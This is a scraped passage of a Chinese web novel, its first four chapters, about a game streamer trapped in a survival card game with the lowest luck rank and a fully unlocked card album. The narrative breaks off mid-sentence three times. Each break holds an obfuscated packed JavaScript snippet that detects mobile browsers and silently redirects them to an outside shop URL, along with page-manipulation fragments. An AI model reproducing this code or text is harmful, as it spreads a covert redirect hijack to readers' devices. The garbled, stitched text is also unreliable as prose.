《全民求生,从抽卡开始》 1. 第1章 沉闷的钝痛一波波袭击着脆弱的神经,金琅紧皱眉心,艰难睁开沉重的双眼。 模糊视线逐渐聚焦,眼前是一块巨大的虚拟电子屏。 半透明光屏悬浮在她眼前,没有任何字迹与画面,只流淌着幽幽浅绿荧光,如同墓碑旁时隐时现的鬼火,让人心慌意乱。 金琅怔愣地向四周望去,发现自己在一块仅有十平米左右的空地上。 而再往外延伸,就成为了像能吞噬一切的无边无际的黑色深渊。 周边死一般地寂静,风声也无。 唯一能听见的,貌似只有她的呼吸和心跳,更是狠狠撞击着耳膜,就变得微微发涨起来。 整个空间像被抽了真空,仅剩下她一人。 金琅坐在地面,心头涌上难以抑制的惴惴不安,可看这处境又彻底沉了下去。 她继而攥着拳头,开口高声大喊: “有人吗!?——” 本想判断下这地方有多大,可不管她喊了多少遍,喊得多大声,飘荡的声音都被无尽的黑暗掩盖,没有答复,甚至没有回音。 金琅无力揉揉僵硬的眉心,她清晰记得自己上一秒还在电脑桌前,与直播间内的观众谈笑风生。 怎么突然眼前一黑,就来到了这种鬼地方? 况且这里也不像蓝星,蓝星科技还没研发出这种科幻片里才会出现的虚拟光屏。 她低头看向自己,身上还穿着直播时的衣物。 口袋里是当时随手塞进去的发夹手链,除此之外再无其他。 金琅深呼吸几口,强迫自己冷静下来后,她撑着地面缓缓站起,一步一顿挪到空地边缘。 等来到边缘,心也几乎跳到了嗓子眼。 小心翼翼探出半个身子,她大着胆子往下张望。 而那深不见底的漆黑竟连一丝反光也无,活像张危险的大嘴等待猎物主动坠落。 金琅咬咬牙,拿出口袋里所有东西,松开指尖扔进深渊。 一秒,两秒,三秒…… 金琅心里默默数着,却越数心越凉。 足足半分多钟过去,她没听见任何声音传来。无论撞击声还是落地声,那些东西如同坠入了虚无之中。 这可以说非常恐怖了——难道这地方深到连底部都没吗?! 金琅咬着唇,将最后的希望放在那块泛光的电子屏上。 无奈抬起手,她试探着朝屏面伸去。 而指尖毫无阻碍地穿过,穿过的位置上瞬间漾开圈圈水波般的涟漪。 黏腻阴冷的感觉像摸到什么阴湿活物的光滑皮肤,又顺着指尖窜上来,让金琅汗毛倒竖。 触电般猛地收回手,指尖貌似还残留着诡异的冰凉。 金琅后知后觉,背上也渗出一身冷汗。 她这不是被困死在这里了吗? 没门没路,脚下是方寸之地,身后是无尽深渊,只有眼前这道古怪的光屏屹立不倒。 更可怕的是,这里没有水和食物,没有生存物资,她就算不跌进深渊,也会在不久后被活活饿死渴死! 素日里再冷静的人,遇到这种情况,都会忍不住恐慌而导致胡思乱想。 可正当金琅脑中一片浆糊时,原本死寂的空间却像蓦然活了过来。 “叮咚——” 一道尖锐刺耳的声音响起,像是什么提示音。 空荡荡的光屏上,倏忽跳出两行刺目的血红色字体,字迹稍许歪扭,透着股骇人的压迫感。 【各位玩家,欢迎来到全民求生游戏!】 【游戏规则如下,请各位认真查看!】 …… 求生游戏? 金琅浑身陡然一震。 这里的触感太真实,还有疼痛感,绝不是梦境。 深怕错过有用的信息,金琅不再多想,强行压住七上八下的心,去看继续跳出的字眼: 【一、所有物质皆能成为卡牌,卡牌可组合创造,用于生存。】 【二、可用资源购买卡包,抽取更多卡牌。】 【三、在游戏中死亡即视为永久死亡,无复活方法。】 【四、前三日为新手保护期,无灾难发生,副本不开放,玩家可自由活动。下一轮公告将在第三日结束前发出。】 【五、游戏结束后,将统计排行榜。去除死亡玩家人数后,仅有前10%玩家能够离开空间,其余将就地抹杀。】 金琅快速看完后,却愣了愣。 前两条规则,怎么那么像自己已经结档的一款卡牌游戏? 【玩家人数总计为一亿人,您所在的区域为「051」区。】 【您的第一张卡牌已发放,请开始生存。】 【公告至此结束,祝各位好运。】 既然是求生游戏,那必定会有死亡的发生。可就算等游戏结束,自己侥幸活了下来,却也要算好排名才能顺利离开这? 那也太极限了吧! 金琅绝不想死,她拨浪鼓似地摇着脑袋,想将那多余的慌张与杂念通通用力甩出去。 然而就在这瞬间,有着游戏公告的光屏倏忽消失,脚下地界猛然开始往外延伸,慢慢将那深渊也覆盖住。 神奇的一幕让金琅睁大眼,双唇也不自觉张开,一时半会儿没再闭上。 地界逐渐变得广阔且平坦,远远望去几乎望不到头,出现的景象更是有点刚才光屏散发的颜色,些许绿茵茵的。 简直像处平原地区。 可让人惊奇的是,这个空间内只出现了大地,却没有天空! 抬头看去仍是深渊那样的黑暗幽深,与大地完全割裂开来,透出浓浓的诡异气息。 暂时回过神,金琅不自觉打个寒颤,也见到了公告中所说的卡牌。 卡牌悬浮在半空中,旁边还有一个方方正正的扁薄黑色物体,缓慢旋转着,仿佛在吸引人主动查看。 金琅小心上前,却发现那张卡牌的图案是自己的大头照,有着相同的金发和五官。 视野中也出现些虚拟按钮,应该算是游戏界面了。 金琅快速扫视位置与上面的字,忽然涌上阵阵犹如潮水般的熟悉感。 这使她一直轻轻拧起的眉毛顿时舒展,紧接着呼出口浊气。 她现在敢笃定,这游戏,就是自己玩过的那个! 金琅是名游戏主播,虽然算不上平台数一数二,却也有批固定粉丝,游戏也不论大小,只要感兴趣就会游玩直播。 那时新出了款游戏叫做《次元卡牌》,只需要点击拖动以及堆叠就能操作,十分上头杀时间,于是金琅就直播了一段日子。 明明是款卡牌游戏,创建时却提供捏脸功能,金琅还照着自己的形象捏了脸。 而将卡牌图鉴全部集齐后,直播热度渐渐下降,她就结档退游了。 其实金琅也觉得自己高兴得有点太早,可她需要些能令自己振奋的消息,好全力以赴对待这场有关生死存亡的游戏。 微微扬起嘴角,金琅没有再像之前那么恐惧,而是直接伸手触碰那张卡牌。 可碰上的一刹那,卡牌却幻化作星光点点消失,成为左上角的头像,信息和提示也留在了脑海中。 金琅愣住,继而再次皱眉。 这与她熟知的不同,游戏的初始卡牌是玩家的个人卡,负责操作一切需要。 难道是自己真人进入了,所以整个游戏还是有改变的? 金琅不禁摸摸胸膛。心跳依旧很快在不断乱撞,但总比刚醒来那阵好得多。 …… 她尝试打开那个头像,心中一动,果然出现信息面板。 【姓名:金琅】 下面则是主要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586914|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数值: 【生命值:100(归零即死亡)】 【体力值:80(归零将无法行动,可通过渠道增加上限,目前可补充方法:饮食/在庇护所中休息)】 金琅疑惑。她明明记得游戏里,个人卡的三个主要数值都是100,怎么她现在体力值只有80? 而游戏系统似乎知晓她的想法,早就在后面加上了一行小字: 【数值均为扫描主体后计算得出。】 金琅无语地翻翻眼。 这游戏歧视宅在家不运动的主播是吧?! 好在接下来的精神值经扫描后,竟然定在了120。 精神值一旦归零,玩家便会崩溃,强制进入睡眠状态,简称掉san到心力衰竭。 所以精神值上限变高,那也不亏。 三条主要数值下,还有个人属性。 【攻击:C丨防御:C丨敏捷:C丨命中率:B】 看完这串属性,金琅却感到些微不安,身上忽然像有蚂蚁在爬。 游戏中,卡牌除了能捏脸,其他属性都是随机给予,进入游戏后才能查看。 这串属性,也与刚进游戏时一样。 但这些基础属性,前期就能通过各种方法增加。 然而下面还有一个关键属性:幸运。 可金琅起初的幸运值,却只有可怜的、最低级的D。 于是在之后的游玩过程中,金琅不仅解锁花式死法,还要啥啥没有,直播效果简直爆炸。 还是后来找到特殊道具才提升了幸运等级,不然要一直苦到结档。 金琅忍不住吞咽一口,紧张到甚至想干呕了。 如果在这场与自己性命相关的求生游戏里,她的幸运仍是D级,那别说受苦了,直接受死就行了! 深呼吸后,金琅往下看去。 只见到一行白色字体,明晃晃写着: 【幸运:E】 “啪”的一声,思绪如同断线风筝,骤然飘向远处。 金琅浑身紧绷,心口仿佛停止了蹦跳,整个人僵在原地,只盯着这行字,迟迟忘记眨眼。 此时已不是如坠冰窖那么简单了,她开始眼神涣散,表情木然,浑身的血液也像被立刻抽干,如尸体那样寒冷。 现在的她,甚至都想直接跳进旁边的黑暗深渊里开始自由无限落体。 游戏里的属性等级分为SABCD,上下能加减,D附近已经属于很低了。 她原本想着或许会和初玩游戏时那样,是D左右,那也只能硬着头皮继续,总归不止她一人是这等级。 当然,她也抱着可能会升级的妄想,那样是最好的。 可万万没想到,竟然会是幸运E? 这完全已经跳出等级范围之内了吧? 金琅甚至认为,全区全游戏中,可能只有自己是这个等级! 累了,毁灭吧。 金琅感觉天彻底黑了下来,心如死灰。 周围的光线虽然变亮了,却反衬出她一脸万念俱灰,目光枯槁如死水。 原本僵硬的身体此时也像面条那样软。金琅瘫坐回地面,仿佛过山车般的心情,让她都还没做什么就已十分疲倦。 而除去那些个人信息,下面还有一个选项: 【个人卡册】 灰心丧气的金琅瞄到这个熟悉的名称,而操作又只需意识,仅是默念出名字,就无意间打开了这个选项。 一本厚厚的卡册凭空出现,同样悬浮停在眼前,且自动翻开,内容清晰可见。 可当她下意识看去后,却倏忽睁大双眼。 眸底重新闪过细小微光,金琅急忙站起身,想凑近仔细观察。 就像又在千钧一发之际,她抓住了一根救命稻草。 这个卡册……貌似也有不同的地方! 2. 第2章 每抽出一张新卡牌,卡册内就能解锁图鉴,在虚拟游戏中,这是专门为收集党预备的功能。 而没有抽到相应卡牌前,卡面上会用问号替代。 卡牌种类也有许多:资源卡、建筑卡、道具卡、生物卡、蓝图卡等等,甚至还有一批特殊卡牌,总数至少有数百张。 在一张卡牌都没有的情况下,卡册内理应都是问号才对。 可不知为何,金琅发现自己这个卡册里,竟没有一个问号! 每张卡牌都已显示出本身的正确图案,只是呈现着灰色,一看就不能使用。 金琅急躁地挠挠头,脚下仿佛有口烧开的热锅。 她尝试运用意识操控,但卡册却始终没发生变化,完全不清楚具体有什么作用。 金琅心中惶惑极了,可幸运E冲榜会死,不试试也是必死,所以她不能什么都不做。 她只好苦笑着暂时关闭卡册。 心里和四肢都像灌满了冷铅,金琅慢慢起身,继而默默看向旁边那个卡包。 【新手初始卡包】,是每名玩家进入游戏后赠送的第一个卡包。 金琅离开直播间后,偶尔也会去找攻略,才明白初始卡包内,不是每人都会开出相同卡牌,而是依照幸运等级来决定的。 像幸运在BCD级的玩家,开出的都是相同卡牌。 等级更高的,光是初始卡包就能开出之后才能见到的好卡。 然而,这与自己这个幸运E又有什么关系呢? 金琅嘴边流露出浅淡的笑意,好像已经走一会儿了。 要不是原本的深渊已经成为大地,她是真想去信仰之跃。 再次抬手,金琅摸上那个黑色卡包,有些塑料的触感。 游戏玩法差不多被改变了。原先只用鼠标点点点就行,现在恐怕需要亲自上阵。 卡包被碰上后自动被撕开。里面随金琅的念头跳出一张张卡牌,落在旁边任意的空位上漂浮着。 成功打开第一个卡包,总共有15张卡牌。 金琅记得,新手初始卡包开出的卡牌,有树、浆果灌木丛、杂草丛、污水和硬币x3,也是15张。 还好,数量是正确的。 可金琅一直悬着的心从没放下过,再扫了眼开出的卡牌后,更是觉得像被麻袋套头打了好几闷棍,整个人都昏昏沉沉的。 [树]x1、[枯死木]x1、[虫蛀木]x1; 浆果灌木丛x1、[酸涩浆果丛]x1; [杂草丛]x1,[带刺杂草丛]x1; [金币]x2、[被污渍覆盖的硬币]x1。 金琅两眼一黑,心情近乎已经成为凄怆的境地了。 她是不是该庆幸,唯独[污水]x3没有变化? 按理说接下来她应该开始采集资源,可开出来的垃圾卡占据大半,她该怎么继续啊? 头绪如同乱糟糟的毛线理不清,金琅也不急着整理了,而是恍恍惚惚地再次打开卡册。 可没想到的是,在抽出卡牌后,她反而见到了卡册里的变化! …… 垃圾卡也算图鉴中的一员,属于基础材料,所以都在卡册的前排。 眼下卡面都已成为彩色,更是出现了金琅意想不到的信息: [枯死木] [卡牌类型:资源丨稀有度:垃圾丨刷新周期:1天] [最佳用途:操作后,可长出【蘑菇】,需耗费1天。] [合成配方:无] 等等! 金琅吃了一惊,上上下下足足看了好几遍。 她记得在游戏里,可没见过这么详细、甚至是额外多出来的信息啊? 就比如说那[合成配方],游戏里是不会显示出来的,只有找到相应的蓝图卡,才能知晓哪些卡牌能加工制作。 金琅怔了怔,突然觉得浑身血液上涌,冲得连太阳穴都跳起来,面上变得热酥酥的。 她这个全解锁的卡册,好像是个宝贝啊? 带着这般惊异的心情,金琅又打开了【排行榜】。 排行榜很简单,一边是玩家姓名,一边是积分和排名。 刚被传送进游戏时,所有玩家都没积分。可在这段时间里也有玩家反应过来,开始试着进行游戏了。 所以此时相当于已经重新排列过名次,金琅看见有一长串拉不到尽头的数字,皆是20。 可想而知,在打开新手初始卡包获得15张基础卡牌后,统一都获得了20积分。 然而往前排看,有一部分显示的分值却不同,要比20分更多。 金琅猜测,这些玩家大抵是在初始卡包开出更好的卡牌了,增加的积分也就更多些。 怎么也是幸运A,甚至幸运S的玩家。 原先的游戏没有排行榜,金琅不清楚具体的积分统计规则。 但作为倒霉到能抽出大量垃圾卡的幸运E,她只希望不要倒扣分。 脸上重新浮出苦笑,又在排行榜上找到能直达自己排名的按钮,金琅不安地按下。 然而下一秒,她的喉咙里挤出声颤抖的尖叫,瞪圆的双眸中满是不可置信,却又透露出深深的茫然。 【金琅】:39分,排名第一! 她的分值怎么会那么高?! 这要比第二名第三名,都多出起码5分以上! 金琅回过神,只觉得自己的心猛然涨大,像个蓄势待发的火山口,即将要喷出大量的滚烫熔岩。 她很快想起卡册中那些变彩色的卡面,以及额外的特殊信息。 无法抑制的惊喜让她紧紧捂住嘴,即便附近没有其他人存在。 这么一算,卡牌的积分应该是被加倍了! 这神奇的卡册,说不定能成为她在游戏里的金手指啊? 金琅不清楚还有没有其他幸运E玩家,不知道属性等级是不是与原游戏相同,也无法得知她为何会有这本全解锁卡册。 她只明白:自己这个最低级的幸运E,还有救! 金琅精神一振,生存意志油然升起,连呼吸都跟着畅快起来。 于是她不再观察,她现在需要好好了解下游戏系统。 …… 界面左上角显示着时间,游戏一整日按照进度条结束,还标注着新手期三天倒计时。 下面是051区的幸存者人数,目前还是满员状态。 左下角有【聊天】【好友】【排行榜】;右下角有【商店】【交易厅】【拍卖行】【副本】。 右下角基本都是待开放状态,金琅就先打开【聊天】。 这似乎是区域频道,只有051区的玩家。 已经有不少玩家开启卡包了,但频道中的话语依旧如同海浪,一波接着一波。 金琅这时注意到输入框上的小字: 【每日发言机会总计5次。可用道具等途径增加次数。】 哦嚯。金琅可以想象到,已经有很多玩家浪费掉今天的发言机会了。 频道里什么都有,大多数都是怀疑、抱怨、激烈的话语,也有像金琅那样恐慌绝望的。 当然,还有展开游戏开始讨论攻略的玩家。 更有好心的玩家,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586915|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来大致要进行的步骤公布在频道,但听不听就是自己的事了。 金琅上下划动暗中窥探,没发现有玩家抱怨幸运属性低到E级,或是卡册出现特别之处。 看来自己这个幸运E,还真是独一无二的。 但这个极坏的消息,已被金手指的到来冲淡部分,笑意开始在金琅的嘴角边无限攀升,都快成斜嘴了。 这大概就属于幸运与不幸,相互抵消了吧? 而她也看见有些玩家讨论了几嘴榜一,便赶紧关闭聊天。 不能再看下去了,她必须继续进行游戏。 金琅又望向界面的右上角。 那里总共有三个数值与功能,分别是:【硬币】、【卡牌容量】、与【庇护所】! 又是与游戏的不同,金琅玩游戏时没见过【庇护所】这个功能,建筑也皆是卡牌。 立即点开,界面还锁着,只有中间两行字: 【是否建造1级庇护所?】 【建造1级庇护所需要花费:杂草x10+木板x2+绳子x2】 金琅想起来,原游戏进行的过程中时不时会有灾难降临,带来更多的负面状态,生存难度骤增。 可游戏里能随意死亡,在这里,命却只有一条。 金琅内心顿时变得沉甸甸的,明明空间里无风却莫名打了个寒噤,像先前的恐慌此刻仍有些苗头扎根。 整个求生游戏,除开让玩家自行生存,什么教程都没有。 看来建造这个【庇护所】,就是她在新手期中的主线任务了。 何况她还记得,体力值恢复的其中一个途径,就是在庇护所休息。 金琅想到这,不禁握紧拳头,下定决心。 开始收集材料吧! …… 十几张卡牌还停留在原地,金琅伸出手,果然能直接收起,也能再拿出,卡牌容量数值会相应加减。 被抽完的卡包早消失了,金琅重新取出[树]这张卡牌,再次心里一念。 手中卡牌瞬间消失,可却直接成为一整棵树,竖立在金琅面前。 诶? 金琅有些发懵,最后摆出一副死鱼眼来。 原游戏中只需卡牌堆叠,就会出现进度条,完成后便能采集出资源。 可这是什么意思?该不会是想让她在两手空空的情况下,直接撸树吧? 真是应了那句,要致富先撸树! 金琅啧了声,干脆一脚踹在树干上,唰啦啦落下好几片树叶。 树上竟然真的出现一根空空的进度条。 啥也别说了,继续干! 于是在又敲打又踢踹后,进度条缓慢向前,总算是集满了。 而采集时,时间也会跟着流逝,且不像游戏里那样能随时暂停。 眼前的树木消失,转变成两张卡牌——[木材]。 撸完一棵树,体力值从80降到了75。 没有想象的那么多,可看着数值,金琅心里一沉,胸口仿佛被堵上巨石般沉重。 现在卡牌还不多,等以后数量多了,体力值也是个问题! 金琅紧紧抿唇,牙尖抵着皮肉,笼罩全身的焦躁挥之不去,她已经在努力冷静了。 开出的卡牌总归还要继续采集,于是她打开卡册,眼光一瞥,向张垃圾卡注视而去: [枯死木]。 不久前才看过这张卡牌的信息,经过操作后,似乎可以生产出新的东西? 金琅搓搓手,连忙取出这张卡牌,使用意识。 也不清楚会出现什么新情况?她十分想见见。 3. 第3章 特意在旁边挑块空地,金琅心中一念,手里卡牌消失,而地面上方再次出现了进度条。 只是这回,进度条是自动向前推移的。 如果没有卡册,这张看似无用的、还会占容量的卡牌,绝对会被先丢弃掉。 进度条的速度要比采集时更慢,但信息上说可以种出蘑菇,听着貌似能做食物。 而每个游戏前期,食物总是紧缺的物资。 只等进度条完成,[枯死木]卡牌消失,转而在那块空地上形成一个标记。 还能让卡牌容量减1。 金琅无奈看了眼自己的体力,可又不得不再去采集其他物资。 使用[杂草丛]与[浆果灌木丛]卡牌,地上果然也出现资源点。 一个是为了食物,一个是为了能早点建造庇护所。 这可以说是自己目前的主线目标了。 两种资源比树木更容易采集,金琅很快获得[浆果]x3、[杂草]x4。 可瞧着被收起的卡牌,她却摇摇头,刚因卡册生出的雀跃之情,仿佛又被盆冷水硬生生浇了回去。 1级庇护所,总共需要[木材]x4、[杂草]x14。 就算把其他卡牌也用了,建造庇护所的材料,也是一个都不够。 也许其他玩家的初始卡包里能开出大部分材料,可自己这个幸运E,已经将正常的卡牌用光了! 金琅拧起眉心,内心再度焦灼起来,像正在锅里慢慢煎着。 虽然自己有特殊卡册,可资源差就是资源差,这是毋庸置疑的。 其实她也清楚接下来该做什么,每当卡牌不足,玩家可以选择购买卡包,拆开继续抽卡。 游戏内有等级不同的卡包,最低级的普通卡包需要3张硬币卡才能买,也正是从初始卡包里开出的那些。 金琅盯住那张特殊硬币卡——[被污渍覆盖的硬币],胸前出现咔嚓的心碎声。 【硬币】显示当前拥有的硬币卡牌总数,而金琅这里,标注的是2(?)。 又是只差那么一点! 眼底重新铺满忧虑,她睫毛轻颤,犹豫片刻,便抱着死马当作活马医的心态,用意识在卡册展开卡牌信息。 [被污渍覆满的硬币]果然也像[枯死的树]那样,显示出更多信息。 金琅一眼就见到其中两条: 【最佳用途:使用液体类卡牌合成后,再次使用】 【隐藏属性:数值增加】 这要是在原游戏里,大概只会有条描述这张卡牌的简单语句。 可她有这个卡册,就等于拥有了许多提示! 金琅叹口气,嘴角勉勉强强浮出些笑意。 不过现在,她手头上的液体类卡牌,只有[污水]。 在游戏中每过一日,都需要耗费相应数量的饮食卡,否则翌日会扣除大量数值,直至死亡游戏失败。 而当游戏变成现实后,金琅也看到了提示。 在一日结束前,每名玩家的最低限度是两张食物卡与一张水卡,才能保证隔天不会被扣除大量数值。 当然如果有更多卡牌,那生存机会自然也大。 金琅不禁摸摸自己的身体。 虽然穿着和状态都与传送前相同,可她感觉除开吃喝睡眠,其他的生理需要似乎都停止了。 这无法用科学解释,但应该是要游戏结束才能回归正常。 那无论如何也得活下去。金琅心里暗暗打气。 不想那么多了,她取出两张卡牌,开始操作。 …… 这次的进度条完成得飞快,而金琅也很快察觉到硬币卡上的图案变化。 普通硬币卡上的数字都是1,而这张[硬币],上面却是一个数字5。 金琅惊讶地睁大眼,浑身的血液刹那间流淌极快,几乎要冲破血管,涌上一股强烈的热度。 这是一枚价值5的[硬币]! 而【硬币】旁的数字,也从原先的2,变成了7! 怪不得之前显示的是2(?),果真有说法。 金琅马不停蹄地打开下方的【商店】。 当玩家有硬币后,商店就开启了。 打开界面,显示着一排样式不同的卡包,下面有着单独的空卡槽。 原本从初始卡包中开出的3张硬币卡,可以购买一个普通卡包。 普通卡包是灰白色的,但能从里面开出什么卡牌,还要买下后拆开才能知晓。 金琅的眼神往旁瞥去。 现在不只普通卡包,旁边还解锁了一个新卡包。 她甚至觉得,自己很有可能是第一个因获得足够硬币,而解锁更高等级卡包的玩家! 更高级的【精良级】卡包是淡蓝色的,边缘甚至还散发着浅浅光晕。 售价为6张硬币卡。 金琅见状,不禁有些蠢蠢欲动,心底像钻出一片柔软芽苗,带来无限骚动。 如今的她,可以购买2个普通卡包,或是1个精良卡包! 屏幕停留在商店界面,金琅摩挲着下巴,少许纠结。 普通与精良卡包的卡池中,部分基础的卡牌一样,剩余的就有所不同了。 如果幸运等级更高,说不定还能开出不属于这等级卡包的卡牌。 当然,她这个幸运E就不用想那么多了。 金琅也明白,纵然她购买精良卡包,里面说不准还会继续开出垃圾卡。 深深叹口气,她又思索顷刻,最后还是决定购买一个精良级卡包。 也算是用更高级别,来稍稍冲淡些低幸运吧。 金琅将5硬币卡和价值1的硬币卡,放入卡包下方的价格框内。 卡牌消失后,一个蓝色的卡包静静出现在眼前。 可金琅没有急着拆开抽卡。 因为她突然发现,如果贸然将卡包直接全抽完,自己的卡牌容量会被挤爆。 这个等于背包,其中不包括硬币卡数量。 游戏中也必须要在结束一日前处理好多余卡牌,否则第二天就会被自动处理。 幸好与普通玩家一样,容量都是20。 可现在的容量却有点岌岌可危了。 金琅不快地啧了声,耳垂发热,颇有些抓耳挠腮。 她只能尝试寻找,瞧瞧有没有可以先利用起来的卡牌。 …… 使用卡册,金琅将其他以往从未正眼看过的垃圾卡,逐一查看信息。 [酸涩的浆果丛]和[带刺的杂草丛]都能采集出额外物资,而[虫蛀木]这张卡牌似乎有额外的操作。 金琅秉着病急乱投医的心态,使用卡牌。 空地上出现了一截干巴巴且千疮百孔的树桩,金琅依葫芦画瓢,重重一脚踩在上面。 “咔嚓!” 树桩脆得像是薯片,四周落下纷纷扬扬的碎屑,进度条也大幅度提升了。 最后产出两张卡牌:[树虫]与[空心木]。 这竟然有一张怪物卡。 很简单,击杀怪物就能获得物资,可金琅不准备在空手时迎接怪物开启战斗。 于是她直接去查看另一张物资卡。 [空心木] [卡牌类型:资源丨稀有度:垃圾] [最佳用途:用于储存卡牌(卡牌容量+3)] [合成配方:【密封木】【双层木箱】(请点击查看)] 金琅难以置信地张大眼,她大概是想尖叫,偏偏嗓子像被棉花堵上,反而喊不出任何声响。 但脸上很快布满笑意,如同汽水浮上的那层深厚泡沫,一蹦三尺高。 增加卡牌容量,可以说是前期除了饮食外,最重要的事之一了! 她赶忙使用卡牌,毕竟以现在的条件根本没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586916|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法升级,金琅不期望能有多高级。 原来这一截空心木是中间被掏空,也就能往里面存放多余的物品了。 卡牌容量增加至23。 而这张卡牌似乎不再占据容量,她的头像旁边多出一个小小的空心木图案,代表着在使用中。 金琅想起之前玩游戏时,其实也遇到过枯死木虫蛀木这类资源。 但卡牌上仅有描述语句,完全没那些特殊信息,包括能在卡册上查阅时也没有。 兴许是要什么契机才能弄清楚用处,但彼时得到都是及时处理掉,省得占容量。 商店里那个单独的空卡槽,就是用来售卖卡牌前期过渡的。 只是在那售卖,无论什么等级的卡牌,都只能卖出1张硬币卡。 而稀有度为垃圾的卡牌,更是相当于直接丢弃,连硬币都不会返。 这么想来,她究竟浪费了多少卡啊? 金琅欣喜异常,浑身都感觉暖融融的,仿佛置于明媚阳光之下。 现在,她差不多能拆开新卡包了! …… 精良级卡包安静等待着,而且不会过期,只有抽完卡才会消失。 金琅期待地拆开,先抽出3张卡牌。 分别是[树]x1、[杂草丛]x2。 太好了,是正常物资卡! 果然与自己想的一样,虽然幸运低级,可能被更高级的卡包稍稍拉回来些! 卡包内还有新卡牌,金琅却暂时停下,先采集这些。 获得[木材]x2、[杂草]x4。 但高兴得太早也就喜极而悲,金琅这时发现卡牌容量还是爆表,数字都变成了红色。 不行,她还是要整理整理。 一张[木板]卡牌,需要2张[木材]合成;而一张[绳子]卡牌,则需要2张[杂草]合成。 金琅当前拥有的卡牌,恰好已经能合成[木板]x2、[绳子]x2了。 她将所有卡牌取出,开始合成。 合成完后,不但卡牌容量恢复了,还获得了建造庇护所的关键材料。 如今只差杂草x6,她就能建造庇护所了! 金琅看向已被撕开的卡包,眉头微蹙。 虽然不清楚还能开出多少卡牌,但接下来恐怕不大会再出杂草丛了。 可她眼下最需要的就是杂草,其他卡牌纵然也有用处,却还要顾着紧迫的卡牌容量。 一顿操作猛如虎,心情也七上八下,金琅看向时间,其实也才过了半日左右。 她思忖片刻,忽然直接坐在地上打开聊天频道。 浪费完今日的发言机会就不能再发言,消息刷新的速度比第一次打开时更慢了点。 金琅甚至收到一些添加好友申请,全是陌生人。 这游戏大部分规则相同,却也有小部分改变了,金琅还是决定先熟悉熟悉。 频道此时也几乎没有废话: “求问怎样才能有更多硬币卡?买的卡包都开完了!” “卡牌容量现在有提升的方法吗?这也太紧巴了,那红字看得我心慌……” “你们身边的空地变宽敞了吗?我沿着走了圈,没有任何人在,空间应该是只属于自己的。而且我还发现了新卡牌,估计是系统刷新的,就是寻找时会减少体力值!” 金琅见到这番话后马上从原地蹦起,眼中亮如星斗,充斥着难以抑制的欣悦。 看来在公告消失后,每位玩家的空间都会变大,就是要让玩家自行探索! 但这毕竟要消耗体力,她这个幸运E,能找到散落的卡牌吗? 金琅咬着牙关,心中摇摆的天平最终还是来到了坚定的中间。 带着所有的卡牌和卡包,她迈开步子,开始在空间内探索。 不主动永远没机会,但她起码还有个金手指,也不知能不能有惊喜的降临? 4. 第4章 脚下的地面十分坚硬,覆着肌肤绒毛那样的细草。 游戏里没有内置地图,金琅只能先朝一个方向闷头往前走。 但一边走,她也一边关注自己的体力与时间,这两个数值随着走出的距离而流逝。 金琅记得,原游戏里有白天黑夜,每度过一日重新变亮后,屏幕上会随机出现些新卡牌。 有的需要采集,有的直接能拿取,甚至还有特殊事件。 而走在这片异域中,她也慢慢见到地上出现树木、石头等生长出的东西,相当于从2D转成3D。 那这么说,她应该也能遇到野生的杂草丛了? 金琅心中仿佛春意盎然,万物复苏,一片蠢蠢欲动。 杂草丛是基础资源,所以很快就遇到了。 操作后,杂草丛消失,转变成1张[杂草]卡牌。 又走了段路,四周依然静悄悄的,似乎连空气都凝固起来。 上方勉强称得上是天空的东西,也仍旧宛如深渊,透着十足的压迫感。 除去之前在卡包中遇到的卡牌,金琅还见到了新卡牌,例如——[快被鸟兽吃光的浆果丛] 光瞧这名字,就知道是一张垃圾卡。 如果是普通玩家,甚至以前的金琅,那肯定就无视路过了。 可现在不同,她拥有特殊卡册,垃圾卡或许能变废为宝。 加上卡牌容量还有,金琅大手一挥,将这张卡牌收入囊中。 直接收取完整的卡牌,不需要体力。 “叮咚。” 还没来得及打开卡册,金琅就莫名听见这声轻响。 不像是游戏系统声,反而像单独出现在自己脑海中的。 眼中闪过一丝疑惑,金琅查看后,才发现【个人卡册】按钮右上角出现个小红点。 立即打开,却发现卡册上出现了一段话: 【已检测到卡册中收集卡牌超过10张,解锁功能:[采集加成]!】 【采集加成:所有采集操作,产量有几率双倍】 金琅怔了怔,目光随即亮起,挤满了不可思议的神采。忍不住浑身细颤,惊喜却又有些后悔。 早知道刚刚就不采集了,先解锁功能,那就能事半功倍了! 记得原游戏中,其他途径采集都是出一份采集物,只有抽卡包才能获得更多。 现在好了,她不用太愁集齐硬币去购买卡包,也不用愁空间里的资源会少! 在仅自己存在的空间内,金琅不禁嘿嘿笑了几声,继续翻阅卡册,找到先前得到的卡牌。 